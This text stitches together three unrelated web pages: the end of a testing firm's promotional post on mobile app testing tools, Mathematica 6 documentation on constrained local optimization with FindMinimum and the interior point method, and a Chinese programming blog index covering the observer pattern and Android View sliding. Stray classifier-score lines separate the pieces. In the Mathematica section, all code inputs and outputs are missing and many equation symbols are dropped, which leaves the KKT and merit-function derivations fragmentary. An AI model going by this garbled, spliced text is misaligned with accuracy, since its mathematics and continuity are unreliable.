There is a wide variety of mobile app testing tools available, and many businesses worldwide make use of them. Some of these tools are as follows:
Kobiton
Kobiton is a brilliant testing platform for manual and automated testing. With Kobiton’s scriptless solution, you can execute functionality, efficiency, and visual tests quickly and effortlessly.
The most helpful approach for simulating the user experience is checking your application on many devices. However, you may lack the budget fund to buy hundreds of test devices or the time to test across each mobile device. Kobiton enables cloud-based testing on a farm of over 360+ actual Android and IOS devices. Additionally, you can carry out testing on your own devices.
Perfecto
Perfecto is a cloud-based testing service that automates code-based and code-free application testing. It is among the most effective tools for detecting any bug, providing comprehensive data from dashboards, videos, heatmaps, images, and crash reports across various devices.
Perfecto integrates with many IDEs, continuous integration platforms, and test automation platforms.
Appium
Appium is one of the top mobile application testing solutions many professional testers use. It is an excellent tool for testing mobile and web apps and works amazingly well with hybrid applications. Appium works on both IOS and Android, so there is no need for continuously changing code.
Additionally, Appium optimizes the overall performance of applications by automated functional testing.
Conclusion
The demand for software testing is increasing in light of the rapid pace of technological advancement. However, as mobile internet usage continues to rise, the importance of the quality and performance of mobile applications has never been higher. Understanding the sorts of tests you must perform and conduct them with the most effective tools will allow you to release your mobile applications faster and with an exceptional user experience.
DEHA Vietnam has provided various software testing services to global and local clients with diverse app requirements. With the prospect of speedier delivery cycles, we guarantee quality testing. Our experts work on efficient testing techniques that positively impact the mobile testing process.
Get in touch with us for a free consultation!
Post navigation
7 ISTQB Testing Principles You Should Know About
All You Need To Do For Shift-Left Testing
The Need For Penetration Testing In Risk Assessment
|
__label__pos
| 0.669042 |
This is documentation for Mathematica 6, which was
based on an earlier version of the Wolfram Language.
View current documentation (Version 11.1)
Numerical Nonlinear Local Optimization
Introduction
Numerical algorithms for constrained nonlinear optimization can be broadly categorized into gradient-based methods and direct search methods. Gradient search methods use first derivatives (gradients) or second derivatives (Hessians) information. Examples are the sequential quadratic programming (SQP) method, the augmented Lagrangian method, and the (nonlinear) interior point method. Direct search methods do not use derivative information. Examples are Nelder-Mead, genetic algorithm and differential evolution, and simulated annealing. Direct search methods tend to converge more slowly, but can be more tolerant to the presence of noise in the function and constraints.
Typically, algorithms only build up a local model of the problems. Furthermore, to ensure convergence of the iterative process, many such algorithms insist on a certain decrease of the objective function or of a merit function which is a combination of the objective and constraints. Such algorithms will, if convergent, only find the local optimum, and are called local optimization algorithms. In Mathematica local optimization problems can be solved using FindMinimum.
Global optimization algorithms, on the other hand, attempt to find the global optimum, typically by allowing decrease as well as increase of the objective/merit function. Such algorithms are usually computationally more expensive. Global optimization problems can be solved exactly using Minimize or numerically using NMinimize.
This solves a nonlinear programming problem, Min x-y s.t -3 x2+2 x y-y2≥-1 using Minimize, which gives an exact solution.
In[1]:=
Click for copyable input
Out[1]=
This solves the same problem numerically. NMinimize returns a machine-number solution.
In[2]:=
Click for copyable input
Out[2]=
FindMinimum numerically finds a local minimum. In this example the local minimum found is also a global minimum.
In[3]:=
Click for copyable input
Out[3]=
The FindMinimum Function
FindMinimum solves local unconstrained and constrained optimization problems. This document only covers the constrained optimization case. See "Unconstrained Optimization" for details of FindMinimum for unconstrained optimization.
This solves a nonlinear programming problem, using FindMinimum.
In[4]:=
Click for copyable input
Out[4]=
This provides FindMinimum with a starting value of 2 for x, but uses the default starting point for y.
In[5]:=
Click for copyable input
Out[5]=
The previous solution point is actually a local minimum. FindMinimum only attempts to find a local minimum.
This contour plot of the feasible region illustrates the local and global minima.
In[6]:=
Click for copyable input
Out[6]=
This is a 3D visualization of the function in its feasible region.
In[21]:=
Click for copyable input
Out[21]=
Options for FindMinimum
FindMinimum accepts these options.
option name
default value
AccuracyGoalAutomaticthe accuracy sought
CompiledAutomaticwhether the function and constraints should automatically be compiled
EvaluationMonitorAutomaticexpression to evaluate whenever f is evaluated
GradientAutomaticthe list of gradient functions {D[f, x], D[f, y], ...}
MaxIterationsAutomaticmaximum number of iterations to use
MethodAutomaticmethod to use
PrecisionGoalAutomaticthe precision sought
StepMonitorNoneexpression to evaluate whenever a step is taken
WorkingPrecisionAutomaticthe precision used in internal computations
Click for copyable input
The Method option specifies the method to use to solve the optimization problem. Currently, the only method available for constrained optimization is the interior point algorithm.
This specifies that the interior point method should be used.
In[8]:=
Click for copyable input
Out[8]=
MaxIterations specifies the maximum number of iterations that should be used. When machine precision is used for constrained optimization, the default MaxIterations->500 is used.
When StepMonitor is specified, it is evaluated once every iterative step in the interior point algorithm. On the other hand, EvaluationMonitor, when specified, is evaluated every time a function or an equality or inequality constraint is evaluated.
This demonstrates that 19 iterations are not sufficient to solve the following problem to the default tolerance. It collects points visited through the use of StepMonitor.
In[9]:=
Click for copyable input
Out[9]=
The points visited are shown using ContourPlot. The starting point is blue, the rest yellow.
In[10]:=
Click for copyable input
Out[10]=
WorkingPrecision->prec specifies that all the calculation in FindMinimum is to be carried out at precision prec. By default, prec =MachinePrecision. If prec > MachinePrecision, a fixed precision of prec is used through the computation.
AccuracyGoal and PrecisionGoal options are used in the following way. By default, AccuracyGoal->Automatic, and is set to prec/3. By default, PrecisionGoal->Automatic and is set to -Infinity. AccuracyGoal->ga is the same as AccuracyGoal->{-Infinity, ga}.
Suppose AccuracyGoal->{a, ga} and PrecisionGoal->p, then FindMinimum attempts to drive the residual, which is a combination of the feasibility and the satisfaction of the Karush-Kuhn-Tucker (KKT) and complementary conditions, to be less than or equal to tol=10-ga. In addition, it requires the difference between the current and next iterative point, x and x+, to satisfy ||x+-x||<=10-a+10-p||x||, before terminating.
This computes a solution using a WorkingPrecision of 100.
In[11]:=
Click for copyable input
Out[11]=
The exact optimal value is computed using Minimize, and compared with the result of FindMinimum.
In[12]:=
Click for copyable input
In[13]:=
Click for copyable input
Out[13]=
Examples of FindMinimum
Finding a Global Minimum
If a global minimum is needed, NMinimize or Minimize should be used. However since each run of FindMinimum tends to be faster than NMinimize or Minimize, sometimes it may be more efficient to use FindMinimum, particularly for relatively large problems with a few local minima. FindMinimum attempts to find a local minimum, therefore it will terminate if a local minimum is found.
This shows a function with multiple minima within the feasible region of -10≤x≤10.
In[14]:=
Click for copyable input
Out[14]=
With the automatic starting point, FindMinimum converges to a local minimum.
In[15]:=
Click for copyable input
Out[15]=
If the user has some knowledge of the problem, a better starting point can be given to FindMinimum.
In[16]:=
Click for copyable input
Out[16]=
Alternatively, the user can tighten the constraints.
In[17]:=
Click for copyable input
Out[17]=
Finally, multiple starting points can be used and the best resulting minimum selected.
In[18]:=
Click for copyable input
Out[19]=
Multiple starting points can also be done more systematically via NMinimize, using the "RandomSearch" method with an interior point as the post-processor.
In[1]:=
Click for copyable input
Out[1]=
Solving Minimax Problems
The minimax (also known as minmax) problem is that of finding the minimum value of a function defined as the maximum of several functions, that is,
While this problem can often be solved using general constrained optimization technique, it is more reliably solved by reformulating the problem into one with smooth objective function. Specifically, the minimax problem can be converted into the following
and solved using either FindMinimum or NMinimize.
This defines a function FindMinMax.
In[9]:=
Click for copyable input
This solves an unconstrained minimax problem with one variable.
In[19]:=
Click for copyable input
Out[19]=
This solves an unconstrained minimax problem with two variables.
In[12]:=
Click for copyable input
Out[12]=
This shows the contour of the objective function, and the optimal solution.
In[14]:=
Click for copyable input
Out[14]=
This solves a constrained minimax problem.
In[16]:=
Click for copyable input
Out[16]=
This shows the contour of the objective function within the feasible region, and the optimal solution.
In[18]:=
Click for copyable input
Out[18]=
Multiobjective Optimization: Goal Programming
Multiobjective programming involves minimizing several objective functions, subject to constraints. Since a solution that minimizes one function often does not minimize the others at the same time, there is usually no unique optimal solution.
Sometimes the decision maker has in mind a goal for each objective. In that case the so-called goal programming technique can be applied.
There are a number of variants of how to model a goal-programming problem. One variant is to order the objective functions based on priority, and seek to minimize the deviation of the most important objective function from its goal first, before attempting to minimize the deviations of the less important objective functions from their goals. This is called lexicographic or preemptive goal programming.
In the second variant, the weighted sum of the deviation is minimized. Specifically, the following constrained minimization problem is to be solved.
Here a+ stands for the positive part of the real number a. The weights wi reflect the relative importance, and normalize the deviation to take into account the relative scales and units. Possible values for the weights are the inverse of the goals to be attained. The previous problem can be reformulated to one that is easier to solve.
The third variant, Chebyshev goal programming, minimizes the maximum deviation, rather than the sum of the deviations. This balances the deviation of different objective functions. Specifically, the following constrained minimization problem is to be solved.
This can be reformulated as
This defines a function GoalProgrammingWeightedAverage that solves the goal programming model by minimizing the weighted sum of the deviation.
Click for copyable input
This defines a function GoalProgrammingChebyshev that solves the goal programming model by minimizing the maximum deviation.
Click for copyable input
This solves a goal programming problem with two objective functions and one constraint using GoalProgrammingWeightedAverage with unit weighting, resulting in deviations from the goal of 13.12 and 33.28, thus a total deviation of 37, and a maximal deviation of 33.28.
Click for copyable input
This solves a goal programming problem with two objective functions and one constraint using GoalProgrammingChebyshev with unit weighting, resulting in deviations from the goal of 16 and 32, thus a maximal deviation of 32, but a total deviation of 38.
Click for copyable input
This shows the contours for the first (blue) and second (red) objective functions, the feasible region (the black line), and the optimal solution found by GoalProgrammingWeightedAverage (yellow point) and by GoalProgrammingChebyshev (green point).
Click for copyable input
An Application Example: Portfolio Optimization
A powerful tool in managing investments is to spread the risk by investing in assets that have few or no correlations. For example, if asset A goes up 20% one year and is down 10% the next, asset B goes down 10% one year and is up 20% the next, and up years for A are down years for B, then holding both in equal amounts would result in a 10% increase every year, without any risk. In reality such assets are rarely available, but the concept remains a useful one.
In this example, the aim is to find the optimal asset allocation so as to minimize the risk, and achieve a preset level of return, by investing in a spread of stocks, bonds, and gold.
Here are the historical returns of various assets between 1973 and 1994. For example, in 1973, S&P 500 lost 1-0.852=14.8%, while gold appreciated by 67.7%.
"3m Tbill""long Tbond""SP500""Wilt.5000""Corp. Bond""NASDQ""EAFE""Gold"
19731.075`0.942`0.852`0.815`0.698`1.023`0.851`1.677`
19741.084`1.02`0.735`0.716`0.662`1.002`0.768`1.722`
19751.061`1.056`1.371`1.385`1.318`0.123`1.354`0.76`
19761.052`1.175`1.236`1.266`1.28`1.156`1.025`0.96`
19771.055`1.002`0.926`0.974`1.093`1.03`1.181`1.2`
19781.077`0.982`1.064`1.093`1.146`1.012`1.326`1.295`
19791.109`0.978`1.184`1.256`1.307`1.023`1.048`2.212`
19801.127`0.947`1.323`1.337`1.367`1.031`1.226`1.296`
19811.156`1.003`0.949`0.963`0.99`1.073`0.977`0.688`
19821.117`1.465`1.215`1.187`1.213`1.311`0.981`1.084`
19831.092`0.985`1.224`1.235`1.217`1.08`1.237`0.872`
19841.103`1.159`1.061`1.03`0.903`1.15`1.074`0.825`
19851.08`1.366`1.316`1.326`1.333`1.213`1.562`1.006`
19861.063`1.309`1.186`1.161`1.086`1.156`1.694`1.216`
19871.061`0.925`1.052`1.023`0.959`1.023`1.246`1.244`
19881.071`1.086`1.165`1.179`1.165`1.076`1.283`0.861`
19891.087`1.212`1.316`1.292`1.204`1.142`1.105`0.977`
19901.08`1.054`0.968`0.938`0.83`1.083`0.766`0.922`
19911.057`1.193`1.304`1.342`1.594`1.161`1.121`0.958`
19921.036`1.079`1.076`1.09`1.174`1.076`0.878`0.926`
19931.031`1.217`1.1`1.113`1.162`1.11`1.326`1.146`
19941.045`0.889`1.012`0.999`0.968`0.965`1.078`0.99`
average1.0781.0931.1201.1241.1211.0461.1411.130
This is the annual return data.
In[2]:=
Click for copyable input
Here are the expected returns over this 22-year period for the eight assets.
In[3]:=
Click for copyable input
In[5]:=
Click for copyable input
Out[5]=
Here is the covariant matrix, which measures how the assets correlate to each other.
In[11]:=
Click for copyable input
This finds the optimal asset allocation by minimizing the standard deviation of an allocation, subject to the constraints that the total allocation is 100% (Total[vars]1), the expected return is over 12% (vars.ER1.12), and the variables must be non-negative, thus each asset is allocated a non-negative percentage (thus no shorting). The resulting optimal asset allocation suggests 15.5% in 3-month treasury bills, 20.3% in gold, and the rest in stocks, with a resulting standard deviation of 0.0126.
In[18]:=
Click for copyable input
Out[20]=
This trades less return for smaller volatility by asking for an expected return of 10%. Now we have 55.5% in 3-month treasury bills, 10.3% in gold, and the rest in stocks.
In[16]:=
Click for copyable input
Out[17]=
Limitations of the Interior Point Method
The implementation of the interior point method in FindMinimum requires first and second derivatives of the objective and constraints. Symbolic derivatives are first attempted, and if they fail, finite difference will be used to calculate the derivatives. If the function or constraints are not smooth, particularly if the first derivative at the optimal point is not continuous, the interior point method may experience difficulty in converging.
This shows that the interior point method has difficulty in minimizing this nonsmooth function.
In[29]:=
Click for copyable input
Out[29]=
This is somewhat similar to the difficulty experienced by an unconstrained Newton's method.
In[30]:=
Click for copyable input
Out[30]=
Numerical Algorithms for Constrained Local Optimization
The Interior Point Algorithm
The interior point algorithm solves a constrained optimization by combining constraints and the objective function through the use of the barrier function. Specifically, the general constrained optimization problem is first converted to the standard form
The non-negative constraints are then replaced by adding a barrier term to the objective function
where >0 is a barrier parameter.
The necessary KKT condition (assuming, for example, that the gradient of h is linearly independent) is
where A (x)= (h1 (x), h2 (x), ..., hm (x))T is of dimension m×n. Or
Here X is a diagonal matrix, with the diagonal element i of xi if iI, or 0. Introducing dual variables z=X-1e, then
This nonlinear system can be solved with Newton's method. Let L (x, y)=f (x)-h (x)Ty and H (x, y)=2L (x, y)=2f (x)-mi=1yi2hi (x); the Jacobi matrix of the above system (1) is
Eliminating z, z=-X-1 (Zx+dxz), then (H (x, y)+X-1Z)x-A (x)Ty=-d-X-1dxz, thus
Thus the nonlinear constrained problem can be solved iteratively by
with the search direction {x, y, z} given by solving the previous Jacobi system (2).
To ensure convergence, you need to have some measure of success. One way of doing this is to use a merit function, such as the following augmented Langrangian merit function.
Augmented Langrangian Merit Function
This defines an augmented Langrangian merit function
Here >0 is the barrier parameter and >0 a penalty parameter. It can be proved that if the matrix N (x, y)=H (x, y)+X-1Z is positive definite, then either the search direction given by (3) is a decent direction for the above merit function (4), or {x, y, z, } satisfied the KKT condition (5). A line search is performed along the search direction, with the initial step length chosen to be as close to 1 as possible, while maintaining the positive constraints. A backtracking procedure is then used until the Armijo condition is satisfied on the merit function, (x+tx, )≤ (x, )+t (x, )Tx with (0, 1/2].
Convergence Tolerance
The convergence criterion for the interior point algorithm is
with tol set, by default, to 10-MachinePrecision/3.
|
__label__pos
| 0.995834 |
dcasimir
1202 Reputation
8 Badges
17 years, 95 days
MaplePrimes Activity
These are questions asked by dcasimir
I apologize if the forum is strictly for undergrad students. I'm now on the section of Arfken's text "Mathematical Methods..." that deals with tensors, and I'm having a little trouble. My problem is how to physically or intuitively, picture (for lack of a better word) tensors. This also adds to the problem of not fully understanding and appreciating the difference between covariance and contravariance, other than it seeming to be arbitrarily subscripting or superscripting the tensor elements. Thanks, dc
Does anyone know if Maple can deal with the concept of generalized coordinates ? I'm now starting to study Lagrangian Mechanics. Any materials or applications dealing with Maple's applicability to this subject may be useful. Thanks,
Can someone help me with the Dagger command in the Physics package ? I can't seem to get it to work for matrices. thanks,
Can Maple produce plots of data with error bars ?
Does Maple have any information on perfect numbers ? Also, if it does have some information, how many perfect numbers is Maple knowledgeable of ? v/r,
First 8 9 10 11 12 13 14 Last Page 10 of 21
|
__label__pos
| 0.907044 |
设计模式(五)观察者模式
本文首发于微信公众号「刘望舒」
相关文章
设计模式系列
1.观察者模式模式简介
定义
观察者模式(又被称为发布-订阅(Publish/Subscribe)模式,属于行为型模式的一种,它定义了一种一对多的依赖关系,让多个观察者对象同时监听某一个主题对象。这个主题对象在状态变化时,会通知所有的观察者对象,使他们能够自动更新自己。
观察者模式结构图
• Subject:抽象主题(抽象被观察者),抽象主题角色把所有观察者对象保存在一个集合里,每个主题都可以有任意数量的观察者,抽象主题提供一个接口,可以增加和删除观察者对象。
• ConcreteSubject:具体主题(具体被观察者),该角色将有关状态存入具体观察者对象,在具体主题的内部状态发生改变时,给所有注册过的观察者发送通知。
• Observer:抽象观察者,是观察者者的抽象类,它定义了一个更新接口,使得在得到主题更改通知时更新自己。
• ConcrereObserver:具体观察者,是实现抽象观察者定义的更新接口,以便在得到主题更改通知时更新自身的状态。
2.观察者模式简单实现
观察者模式这种发布-订阅的形式我们可以拿微信公众号来举例,假设微信用户就是观察者,微信公众号是被观察者,有多个的微信用户关注了程序猿这个公众号,当这个公众号更新时就会通知这些订阅的微信用户。好了我们来看看用代码如何实现:
抽象观察者(Observer)
里面定义了一个更新的方法:
public interface Observer {
public void update(String message);
}
具体观察者(ConcrereObserver)
微信用户是观察者,里面实现了更新的方法:
public class WeixinUser implements Observer {
// 微信用户名
private String name;
public WeixinUser(String name) {
this.name = name;
}
@Override
public void update(String message) {
System.out.println(name + "-" + message);
}
}
抽象被观察者(Subject)
抽象主题,提供了attach、detach、notify三个方法:
public interface Subject {
/**
* 增加订阅者
* @param observer
*/
public void attach(Observer observer);
/**
* 删除订阅者
* @param observer
*/
public void detach(Observer observer);
/**
* 通知订阅者更新消息
*/
public void notify(String message);
}
具体被观察者(ConcreteSubject)
微信公众号是具体主题(具体被观察者),里面存储了订阅该公众号的微信用户,并实现了抽象主题中的方法:
public class SubscriptionSubject implements Subject {
//储存订阅公众号的微信用户
private List<Observer> weixinUserlist = new ArrayList<Observer>();
@Override
public void attach(Observer observer) {
weixinUserlist.add(observer);
}
@Override
public void detach(Observer observer) {
weixinUserlist.remove(observer);
}
@Override
public void notify(String message) {
for (Observer observer : weixinUserlist) {
observer.update(message);
}
}
}
客户端调用
public class Client {
public static void main(String[] args) {
SubscriptionSubject mSubscriptionSubject=new SubscriptionSubject();
//创建微信用户
WeixinUser user1=new WeixinUser("杨影枫");
WeixinUser user2=new WeixinUser("月眉儿");
WeixinUser user3=new WeixinUser("紫轩");
//订阅公众号
mSubscriptionSubject.attach(user1);
mSubscriptionSubject.attach(user2);
mSubscriptionSubject.attach(user3);
//公众号更新发出消息给订阅的微信用户
mSubscriptionSubject.notify("刘望舒的专栏更新了");
}
}
结果
杨影枫-刘望舒的专栏更新了
月眉儿-刘望舒的专栏更新了
紫轩-刘望舒的专栏更新了
3.使用观察者模式的场景和优缺点
使用场景
• 关联行为场景,需要注意的是,关联行为是可拆分的,而不是“组合”关系。
• 事件多级触发场景。
• 跨系统的消息交换场景,如消息队列、事件总线的处理机制。
优点
解除耦合,让耦合的双方都依赖于抽象,从而使得各自的变换都不会影响另一边的变换。
缺点
在应用观察者模式时需要考虑一下开发效率和运行效率的问题,程序中包括一个被观察者、多个观察者,开发、调试等内容会比较复杂,而且在Java中消息的通知一般是顺序执行,那么一个观察者卡顿,会影响整体的执行效率,在这种情况下,一般会采用异步实现。
4.Android中的观察者模式
android源码中也有很多使用了观察者模式,比如OnClickListener、ContentObserver、android.database.Observable等;还有组件通讯库RxJava、RxAndroid、EventBus;在这里将拿我们最常用的Adapter的notifyDataSetChanged()方法来举例:
当我们用ListView的时候,数据发生变化的时候我们都会调用Adapter的notifyDataSetChanged()方法,这个方法定义在BaseAdaper中,我们来看看BaseAdaper的部分源码:
public abstract class BaseAdapter implements ListAdapter, SpinnerAdapter {
//数据集观察者
private final DataSetObservable mDataSetObservable = new DataSetObservable();
public boolean hasStableIds() {
return false;
}
public void registerDataSetObserver(DataSetObserver observer) {
mDataSetObservable.registerObserver(observer);
}
public void unregisterDataSetObserver(DataSetObserver observer) {
mDataSetObservable.unregisterObserver(observer);
}
/**
* 当数据集变化时,通知所有观察者
*/
public void notifyDataSetChanged() {
mDataSetObservable.notifyChanged();
}
很明显BaseAdapter用的是观察者模式,BaseAdapter是具体被观察者,接下来看看mDataSetObservable.notifyChanged():
public class DataSetObservable extends Observable<DataSetObserver> {
public void notifyChanged() {
synchronized(mObservers) {
for (int i = mObservers.size() - 1; i >= 0; i--) {
mObservers.get(i).onChanged();
}
}
}
我们看到了mObservers,这就是观察者的集合,这些观察者是在ListView通过setAdaper()设置Adaper时产生的:
@Override
public void setAdapter(ListAdapter adapter) {
if (mAdapter != null && mDataSetObserver != null) {
mAdapter.unregisterDataSetObserver(mDataSetObserver);
}
...
super.setAdapter(adapter);
if (mAdapter != null) {
mAreAllItemsSelectable = mAdapter.areAllItemsEnabled();
mOldItemCount = mItemCount;
mItemCount = mAdapter.getCount();
checkFocus();
//创建数据观察者
mDataSetObserver = new AdapterDataSetObserver();
//注册观察者
mAdapter.registerDataSetObserver(mDataSetObserver);
...
}
接下来看看观察者AdapterDataSetObserver中处理了什么:
class AdapterDataSetObserver extends AdapterView<ListAdapter>.AdapterDataSetObserver {
@Override
public void onChanged() {
super.onChanged();
if (mFastScroller != null) {
mFastScroller.onSectionsChanged();
}
}
@Override
public void onInvalidated() {
super.onInvalidated();
if (mFastScroller != null) {
mFastScroller.onSectionsChanged();
}
}
}
从上面的代码看不出什么,再看看AdapterDataSetObserver的父类AdapterView的AdapterDataSetObserver:
class AdapterDataSetObserver extends DataSetObserver {
private Parcelable mInstanceState = null;
@Override
public void onChanged() {
mDataChanged = true;
mOldItemCount = mItemCount;
mItemCount = getAdapter().getCount();
if (AdapterView.this.getAdapter().hasStableIds() && mInstanceState != null
&& mOldItemCount == 0 && mItemCount > 0) {
AdapterView.this.onRestoreInstanceState(mInstanceState);
mInstanceState = null;
} else {
rememberSyncState();
}
checkFocus();
//重新布局
requestLayout();
}
...
public void clearSavedState() {
mInstanceState = null;
}
}
我们看到在onChanged()方法中调用了requestLayout()方法来重新进行布局。好了,看到这里我们都明白了,当ListView的数据发生变化时,我们调用Adapter的notifyDataSetChanged()方法,这个方法又会调用观察者们(AdapterDataSetObserver)的onChanged()方法,onChanged()方法又会调用requestLayout()方法来重新进行布局。
分享到 评论
Android View体系(三)属性动画
本文首发于微信公众号「刘望舒」
前言
上一篇文章讲了View滑动的六种方法,其中一种是使用动画,这篇文章我们来讲一讲动画的其中一种:属性动画。
查看更多
分享到 评论
Android View体系(二)实现View滑动的六种方法
本文首发于微信公众号「刘望舒」
1.View的滑动简介
View的滑动是Android实现自定义控件的基础,同时在开发中我们也难免会遇到View的滑动的处理。其实不管是那种滑动的方式基本思想都是类似的:当触摸事件传到View时,系统记下触摸点的坐标,手指移动时系统记下移动后的触摸的坐标并算出偏移量,并通过偏移量来修改View的坐标。
实现View滑动有很多种方法,这篇文章主要讲解六种滑动的方法,分别是:layout()、offsetLeftAndRight()与offsetTopAndBottom()、LayoutParams、动画、scollTo与scollBy和Scroller;在下一篇文章我们会详细介绍属性动画。
2.实现View滑动的六种方法
layout()
view进行绘制的时候会调用onLayout()方法来设置显示的位置,因此我们同样也可以通过修改View的left、top、right、bottom这四种属性来控制View的坐标。首先我们要自定义一个View,在onTouchEvent()方法中获取触摸点的坐标:
public boolean onTouchEvent(MotionEvent event) {
//获取到手指处的横坐标和纵坐标
int x = (int) event.getX();
int y = (int) event.getY();
switch (event.getAction()) {
case MotionEvent.ACTION_DOWN:
lastX = x;
lastY = y;
break;
...
接下来我们在ACTION_MOVE事件中计算偏移量,再调用layout()方法重新放置这个自定义View的位置就好了:
case MotionEvent.ACTION_MOVE:
//计算移动的距离
int offsetX = x - lastX;
int offsetY = y - lastY;
//调用layout方法来重新放置它的位置
layout(getLeft()+offsetX, getTop()+offsetY,
getRight()+offsetX , getBottom()+offsetY);
break;
当我们每次移动时都会调用layout()方法来对自己重新布局,从而达到移动View的效果。
自定义View的全部代码(CustomView.java):
package com.example.liuwangshu.moonviewslide;
import android.content.Context;
import android.util.AttributeSet;
import android.view.MotionEvent;
import android.view.View;
public class CustomView extends View {
private int lastX;
private int lastY;
public CustomView(Context context, AttributeSet attrs, int defStyleAttr) {
super(context, attrs, defStyleAttr);
}
public CustomView(Context context, AttributeSet attrs) {
super(context, attrs);
}
public CustomView(Context context) {
super(context);
}
public boolean onTouchEvent(MotionEvent event) {
//获取到手指处的横坐标和纵坐标
int x = (int) event.getX();
int y = (int) event.getY();
switch (event.getAction()) {
case MotionEvent.ACTION_DOWN:
lastX = x;
lastY = y;
break;
case MotionEvent.ACTION_MOVE:
//计算移动的距离
int offsetX = x - lastX;
int offsetY = y - lastY;
//调用layout方法来重新放置它的位置
layout(getLeft()+offsetX, getTop()+offsetY,
getRight()+offsetX , getBottom()+offsetY);
break;
}
return true;
}
}
布局中引用自定义View:
<?xml version="1.0" encoding="utf-8"?>
<LinearLayout xmlns:android="http://schemas.android.com/apk/res/android"
xmlns:tools="http://schemas.android.com/tools"
android:layout_width="match_parent"
android:layout_height="match_parent"
android:orientation="vertical">
<com.example.liuwangshu.moonviewslide.CustomView
android:id="@+id/customview"
android:layout_width="80dp"
android:layout_height="80dp"
android:layout_margin="50dp"
android:background="@android:color/holo_red_light" />
</LinearLayout>
offsetLeftAndRight()与offsetTopAndBottom()
这两种方法和layout()方法效果方法差不多,使用也差不多,我们将ACTION_MOVE中的代码替换成如下代码:
case MotionEvent.ACTION_MOVE:
//计算移动的距离
int offsetX = x - lastX;
int offsetY = y - lastY;
//对left和right进行偏移
offsetLeftAndRight(offsetX);
//对top和bottom进行偏移
offsetTopAndBottom(offsetY);
break;
LayoutParams(改变布局参数)
LayoutParams主要保存了一个View的布局参数,因此我们可以通过LayoutParams来改变View的布局的参数从而达到了改变View的位置的效果。同样的我们将ACTION_MOVE中的代码替换成如下代码:
LinearLayout.LayoutParams layoutParams= (LinearLayout.LayoutParams) getLayoutParams();
layoutParams.leftMargin = getLeft() + offsetX;
layoutParams.topMargin = getTop() + offsetY;
setLayoutParams(layoutParams);
因为父控件是LinearLayout,所以我们用了LinearLayout.LayoutParams,如果父控件是RelativeLayout则要使用RelativeLayout.LayoutParams。除了使用布局的LayoutParams外,我们还可以用ViewGroup.MarginLayoutParams来实现:
ViewGroup.MarginLayoutParams layoutParams = (ViewGroup.MarginLayoutParams) getLayoutParams();
layoutParams.leftMargin = getLeft() + offsetX;
layoutParams.topMargin = getTop() + offsetY;
setLayoutParams(layoutParams);
动画
可以采用View动画来移动,在res目录新建anim文件夹并创建translate.xml:
<?xml version="1.0" encoding="utf-8"?>
<set xmlns:android="http://schemas.android.com/apk/res/android">
<translate android:fromXDelta="0" android:toXDelta="300" android:duration="1000"/>
</set>
在Java代码中引用:
mCustomView.setAnimation(AnimationUtils.loadAnimation(this, R.anim.translate));
当然使用属性动画移动那就更简单了,我们让CustomView在1000毫秒内沿着X轴像右平移300像素:
ObjectAnimator.ofFloat(mCustomView,"translationX",0,300).setDuration(1000).start();
scollTo与scollBy
scollTo(x,y)表示移动到一个具体的坐标点,而scollBy(dx,dy)则表示移动的增量为dx、dy。其中scollBy最终也是要调用scollTo的。scollTo、scollBy移动的是View的内容,如果在ViewGroup中使用则是移动他所有的子View。我们将ACTION_MOVE中的代码替换成如下代码:
((View)getParent()).scrollBy(-offsetX,-offsetY);
这里要实现CustomView随着我们手指移动的效果的话,我们就需要将偏移量设置为负值。
Scroller
我们用scollTo/scollBy方法来进行滑动时,这个过程是瞬间完成的,所以用户体验不大好。这里我们可以使用Scroller来实现有过度效果的滑动,这个过程不是瞬间完成的,而是在一定的时间间隔完成的。Scroller本身是不能实现View的滑动的,它需要配合View的computeScroll()方法才能弹性滑动的效果。
在这里我们实现CustomView平滑的向右移动。
• 首先我们要初始化Scroller:
public CustomView(Context context, AttributeSet attrs) {
super(context, attrs);
mScroller = new Scroller(context);
}
• 接下来重写computeScroll()方法,系统会在绘制View的时候在draw()方法中调用该方法,这个方法中我们调用父类的scrollTo()方法并通过Scroller来不断获取当前的滚动值,每滑动一小段距离我们就调用invalidate()方法不断的进行重绘,重绘就会调用computeScroll()方法,这样我们就通过不断的移动一个小的距离并连贯起来就实现了平滑移动的效果:
@Override
public void computeScroll() {
super.computeScroll();
if(mScroller.computeScrollOffset()){
((View) getParent()).scrollTo(mScroller.getCurrX(),mScroller.getCurrY());
//通过不断的重绘不断的调用computeScroll方法
invalidate();
}
}
• 调用Scroller.startScroll()方法。我们在CustomView中写一个smoothScrollTo()方法,调用Scroller.startScroll()方法,在2000毫秒内沿X轴平移delta像素:
public void smoothScrollTo(int destX,int destY){
int scrollX=getScrollX();
int delta=destX-scrollX;
//1000秒内滑向destX
mScroller.startScroll(scrollX,0,delta,0,2000);
invalidate();
}
• 最后我们在ViewSlideActivity.java中调用CustomView的smoothScrollTo()方法:
//使用Scroll来进行平滑移动
mCustomView.smoothScrollTo(-400,0);
这里我们是设定CustomView沿着X轴向右平移400像素。
github源码下载
分享到 评论
Android View体系(一)视图坐标系
本文首发于微信公众号「刘望舒」
前言
Android View体系是界面编程的核心,他的重要性不亚于Android四大组件,在这个系列中我会陆续讲到View坐标系、View的滑动、View的事件分发等文章来逐步介绍Android View体系。
查看更多
分享到 评论
Android IPC机制(五)用Socket实现跨进程聊天程序
本文首发于微信公众号「刘望舒」
查看更多
分享到 评论
设计模式(四)简单工厂模式
本文首发于微信公众号「刘望舒」
相关文章
设计模式系列
1.简单工厂模式简介
定义
简单工厂模式属于创建型模式又叫做静态工厂方法模式,是由一个工厂对象决定创建出哪一种产品类的实例。
查看更多
分享到 评论
设计模式(三)建造者模式
本文首发于微信公众号「刘望舒」
相关文章
设计模式系列
1.建造者模式简介
定义
建造者模式(builder),将一个复杂对象的构建与它的表示分离,使得同样的构建过程可以创建不同的表示。
查看更多
分享到 评论
Swift快速入门(四)流程控制
相关文章
Swift快速入门系列
1.分支结构
Swift提供两种常见的分支控制结构:if语句和swich语句。一般来说,当条件简单且可能情况较少时使用if语句;当条件比较复杂情况较多时则可以考虑使用swich语句。
查看更多
分享到 评论
Swift快速入门(三)运算符
相关文章
Swift快速入门系列
1.赋值运算符
赋值运算(a = b),表示用b的值来初始化或更新a的值:
查看更多
分享到 评论
Swift快速入门(二)基本数据类型
相关文章
Swift快速入门系列
1.变量和常量
声明常量和变量
Swfit是强类型的语言,Swift要求所有的变量和常量必须先声明后使用。
声明变量需要使用var,声明常量则需要使用let
查看更多
分享到 评论
Android IPC机制(四)用ContentProvider进行进程间通信
本文首发于微信公众号「刘望舒」
查看更多
分享到 评论
关于App程序员泡沫
